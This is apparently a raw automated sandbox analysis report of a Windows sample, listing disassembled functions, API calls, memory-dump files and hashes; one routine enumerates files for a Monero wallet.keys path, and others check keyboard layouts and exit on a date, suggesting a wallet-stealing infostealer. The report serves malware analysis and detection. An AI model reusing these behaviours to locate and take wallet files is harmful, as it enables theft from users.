Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00100C2E), ref: 000EDE5E
StrCmpCA.SHLWAPI(?,001014C8), ref: 000EDEAE
StrCmpCA.SHLWAPI(?,001014CC), ref: 000EDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 000EE3E0
FindClose.KERNEL32(000000FF), ref: 000EE3F2

Strings

\*.*, xrefs: 000EDE26

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 3bfddcbbf3d9d3ce68513b4232728a78ff680493a8eeb77c7f94be59101303b5
Instruction ID: 4c66cc343abe02131b960cda3ce6c73730484c5ce8b12bac0f2956024f64dfe4
Opcode Fuzzy Hash: 3bfddcbbf3d9d3ce68513b4232728a78ff680493a8eeb77c7f94be59101303b5
Instruction Fuzzy Hash: E5F1E0B191411C9ACB25FB60DC95EFE7338BF55340F4041EAA10E62492EF746B4ADF62

Function 000EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001014B0,00100C2A), ref: 000EDAEB
StrCmpCA.SHLWAPI(?,001014B4), ref: 000EDB33
StrCmpCA.SHLWAPI(?,001014B8), ref: 000EDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 000EDDCC
FindClose.KERNEL32(000000FF), ref: 000EDDDE

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9de0f5c71cdac70198cfccedef5b4d655d1006ff18f818d5f6c14b8989a4249b
Instruction ID: b25274a8673fd4a625a752b3425a2118993948f413532d5920750e0c7e12d79c
Opcode Fuzzy Hash: 9de0f5c71cdac70198cfccedef5b4d655d1006ff18f818d5f6c14b8989a4249b
Instruction Fuzzy Hash: 319158B2A002089BCB14FB70EC56DFD737DAB85340F408559F90A96592EF74AB0DDB92

Function 000F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

GetKeyboardLayoutList.USER32(00000000,00000000,001005AF), ref: 000F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 000F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 000F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 000F7C62
LocalFree.KERNEL32(00000000), ref: 000F7D22

Strings

/ , xrefs: 000F7C7F

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 23ceca8c9d4b6bbe59d3d52cb9470d174db9dce8c861cd18e091b8e71675176c
Instruction ID: ac78c1a61c97868698eafa58a1f0f6378411c435b9a3ced23b6ae6d81e04cf54
Opcode Fuzzy Hash: 23ceca8c9d4b6bbe59d3d52cb9470d174db9dce8c861cd18e091b8e71675176c
Instruction Fuzzy Hash: 20415EB194021CABDB24DB94DC99BFDB778FF48700F204199E20962591DB742F86DFA1

Function 004B6380 Relevance: 10.3, Strings: 7, Instructions: 1597COMMON

Download Yara Rule

Strings

Z}x, xrefs: 004B6D7E
[LW?, xrefs: 004B65D8
2[g|, xrefs: 004B6F15
Z}x, xrefs: 004B6D5F
J_i, xrefs: 004B68CB
[Ew, xrefs: 004B72FE
7{^, xrefs: 004B641D

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: J_i$2[g|$Z}x$Z}x$[Ew$[LW?$7{^
API String ID: 0-1365447716
Opcode ID: f6656bfce4769cd05fe9652cc4b9350963e7e0ea2108838d70be2c325eaa34fb
Instruction ID: ab3af62a9471d5e25b54d0ba3907a048ccc185878640f6b43f9317100aeb6d1f
Opcode Fuzzy Hash: f6656bfce4769cd05fe9652cc4b9350963e7e0ea2108838d70be2c325eaa34fb
Instruction Fuzzy Hash: 02B217F390C214AFE3186E2DEC8567AFBE5EF94320F1A453DEAC583744EA3558018697

Function 000EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00100D73), ref: 000EE4A2
StrCmpCA.SHLWAPI(?,001014F8), ref: 000EE4F2
StrCmpCA.SHLWAPI(?,001014FC), ref: 000EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 000EEBDF

Strings

\*.*, xrefs: 000EE44D

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 4ebc29c2a64d595e1afd215a66ce26a204bae9fef6efa681526c45e340a40b42
Instruction ID: e538869a3d2b6f33d8cb93c7d7ac0b65d4d7637a9629240d2b1ea375bf658aef
Opcode Fuzzy Hash: 4ebc29c2a64d595e1afd215a66ce26a204bae9fef6efa681526c45e340a40b42
Instruction Fuzzy Hash: 791253B1A0011C9BDB14FB60DC96EFD7378AF55340F4041A8B60E56492EF746F4ADBA2

Function 004AF68D Relevance: 9.1, Strings: 6, Instructions: 1590COMMON

Download Yara Rule

Strings

,T~, xrefs: 004AFDAB
(1?V, xrefs: 004AFEE3
l)5+, xrefs: 004AF96C
LEo, xrefs: 004B089D
s4w?, xrefs: 004B03CA
CL~], xrefs: 004B0922

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (1?V$CL~]$LEo$l)5+$s4w?$,T~
API String ID: 0-171742306
Opcode ID: 2759c16c29ac94a1079a6baa46463d45de05514e655e03cac32f25c98f337802
Instruction ID: 2852d30dbc878ad0f7acfb146d52124cf7123175cdf4e990869d2462a5a28c95
Opcode Fuzzy Hash: 2759c16c29ac94a1079a6baa46463d45de05514e655e03cac32f25c98f337802
Instruction Fuzzy Hash: C8B2D4F3A0C200AFE3046E29EC8577ABBE9EF94720F1A492DE6C5C7744E63558418797

Function 004A74C6 Relevance: 8.5, Strings: 6, Instructions: 1045COMMON

Download Yara Rule

Strings

N!tW, xrefs: 004A81C0
^~~w, xrefs: 004A7C1E
ro, xrefs: 004A810F
I>3, xrefs: 004A7EC6
1qo, xrefs: 004A7E06
u1~}, xrefs: 004A7917

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: N!tW$^~~w$ro$u1~}$1qo$I>3
API String ID: 0-2792040503
Opcode ID: 635f76e41c1253bc0c98297f8ed28d16cd44220851abff2fd7c83ae277ca9659
Instruction ID: 1c8befa35990799c0b274715843135ec459d8272a251a399d182b348cb206edc
Opcode Fuzzy Hash: 635f76e41c1253bc0c98297f8ed28d16cd44220851abff2fd7c83ae277ca9659
Instruction Fuzzy Hash: 417215F360C6049FE308AE2DEC8577ABBE6EF94720F1A453DE6C5C3744EA3558018696

Function 004B7E77 Relevance: 7.9, Strings: 5, Instructions: 1621COMMON

Download Yara Rule

Strings

NvW?, xrefs: 004B854F
kz1s, xrefs: 004B898C
D<?, xrefs: 004B7F14
UG, xrefs: 004B83DC
u0/m, xrefs: 004B8E96

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: D<?$NvW?$kz1s$u0/m$UG
API String ID: 0-2516944264
Opcode ID: f95cbc7e7a3da8aca46a7461a86a2a489c2ad7d4ab31e3092de9d437c42457da
Instruction ID: 6f1c5458d3f102629e967ad1100096408ba8bf17e1554b6338979368d83616a4
Opcode Fuzzy Hash: f95cbc7e7a3da8aca46a7461a86a2a489c2ad7d4ab31e3092de9d437c42457da
Instruction Fuzzy Hash: B3B227F3608204AFE3046E2DEC8567AFBE9EFD4320F1A453DEAC4C7744E93598058696

Function 004BCD23 Relevance: 7.9, Strings: 5, Instructions: 1612COMMON

Download Yara Rule

Strings

}[_, xrefs: 004BD79D
8RO, xrefs: 004BE0BE
l[zj, xrefs: 004BDD26
Q)\, xrefs: 004BE055
Jsm, xrefs: 004BD0A2

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 8RO$Jsm$Q)\$l[zj$}[_
API String ID: 0-1192714827
Opcode ID: 039cd8c405f313ab1643bca29cf80eb8ec5b198244deef8bc88c73780fb37c3e
Instruction ID: c0e496a6d473d5e3ecfc5fb62525a114694bf1989f895e152461480b5a33a7a4
Opcode Fuzzy Hash: 039cd8c405f313ab1643bca29cf80eb8ec5b198244deef8bc88c73780fb37c3e
Instruction Fuzzy Hash: 00B2F5F360C6009FE304AE2DEC4567ABBE5EFD4320F1A892DE6C5C7744EA3598058697

Function 000EC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 000EC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 000EC87C
lstrcat.KERNEL32(?,00100B46), ref: 000EC943
lstrcat.KERNEL32(?,00100B47), ref: 000EC957
lstrcat.KERNEL32(?,00100B4E), ref: 000EC978

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 628ce4b21be69d48481d6b92b40a1b4932556ee233de363fde60032ee37f8f49
Instruction ID: db071dde760fb9a2fc934d6b57ade43c45bfbd6459dda0e95cc46b9b89ced5a3
Opcode Fuzzy Hash: 628ce4b21be69d48481d6b92b40a1b4932556ee233de363fde60032ee37f8f49
Instruction Fuzzy Hash: 5A4170B990421ADFDB20DFA4DD89FFEB7B8BB48704F1041A8E509A7280D7715A85CF91

Function 000F6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 000F696C
sscanf.NTDLL ref: 000F6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 000F69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 000F69C0
ExitProcess.KERNEL32 ref: 000F69DA

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8069e625b462a9cf396274496d01e986403099bb2599fadd2a9f5e510e5cdc85
Instruction ID: 5f1e300fcb816557ec2b0f5facd4a090da5bd3a22e6cc38328ad28cddcb362dd
Opcode Fuzzy Hash: 8069e625b462a9cf396274496d01e986403099bb2599fadd2a9f5e510e5cdc85
